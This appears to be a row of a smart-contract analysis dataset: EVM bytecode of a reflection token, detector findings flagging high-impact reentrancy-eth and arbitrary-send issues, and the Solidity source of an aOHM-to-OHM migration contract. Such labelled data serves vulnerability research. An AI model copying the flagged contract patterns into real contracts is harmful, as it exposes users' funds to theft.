00a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c6b27ed34342bf0715715a83b10b49dd197173b5aa46338e162c0c11f8cfb66464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,888
0xc7f56ec779cb9e60afa116d73f3708761197db3d
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; interface IOwnable { function owner() external view returns (address); function renounceOwnership() external; function transferOwnership( address newOwner_ ) external; } contract Ownable is IOwnable { address internal _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { _owner = msg.sender; emit OwnershipTransferred( address(0), _owner ); } /** * @dev Returns the address of the current owner. */ function owner() public view override returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require( _owner == msg.sender, "Ownable: caller is not the owner" ); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual override onlyOwner() { emit OwnershipTransferred( _owner, address(0) ); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership( address newOwner_ ) public virtual override onlyOwner() { require( newOwner_ != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred( _owner, newOwner_ ); _owner = newOwner_; } } interface IERC20 { function decimals() external view returns (uint8); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } /* * Expects percentage to be trailed by 00, */ function percentageAmount( uint256 total_, uint8 percentage_ ) internal pure returns ( uint256 percentAmount_ ) { return div( mul( total_, percentage_ ), 1000 ); } /* * Expects percentage to be trailed by 00, */ function substractPercentage( uint256 total_, uint8 percentageToSub_ ) internal pure returns ( uint256 result_ ) { return sub( total_, div( mul( total_, percentageToSub_ ), 1000 ) ); } function percentageOfTotal( uint256 part_, uint256 total_ ) internal pure returns ( uint256 percent_ ) { return div( mul(part_, 100) , total_ ); } /** * Taken from Hypersonic https://github.com/M2629/HyperSonic/blob/main/Math.sol * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing( uint256 payment_, uint256 multiplier_ ) internal pure returns (uint256) { return sqrrt( mul( multiplier_, payment_ ) ); } function bondingCurve( uint256 supply_, uint256 multiplier_ ) internal pure returns (uint256) { return mul( multiplier_, supply_ ); } } contract aOHMMigration is Ownable { using SafeMath for uint256; uint256 swapEndBlock; IERC20 public OHM; IERC20 public aOHM; bool public isInitialized; mapping(address => uint256) public senderInfo; modifier onlyInitialized() { require(isInitialized, "not initialized"); _; } modifier notInitialized() { require( !isInitialized, "already initialized" ); _; } function initialize ( address _OHM, address _aOHM, uint256 _swapDuration ) public onlyOwner() notInitialized() { OHM = IERC20(_OHM); aOHM = IERC20(_aOHM); swapEndBlock = block.number.add(_swapDuration); isInitialized = true; } function migrate(uint256 amount) external onlyInitialized() { require( aOHM.balanceOf(msg.sender) >= amount, "amount above user balance" ); require(block.number < swapEndBlock, "swapping of aOHM has ended"); aOHM.transferFrom(msg.sender, address(this), amount); senderInfo[msg.sender] = senderInfo[msg.sender].add(amount); OHM.transfer(msg.sender, amount); } function reclaim() external { require(senderInfo[msg.sender] > 0, "user has no aOHM to withdraw"); require( block.number > swapEndBlock, "aOHM swap is still ongoing" ); uint256 amount = senderInfo[msg.sender]; senderInfo[msg.sender] = 0; aOHM.transfer(msg.sender, amount); } function withdraw() external onlyOwner() { require(block.number > swapEndBlock, "swapping of aOHM has not ended"); uint256 amount = OHM.balanceOf(address(this)); OHM.transfer(msg.sender, amount); } }
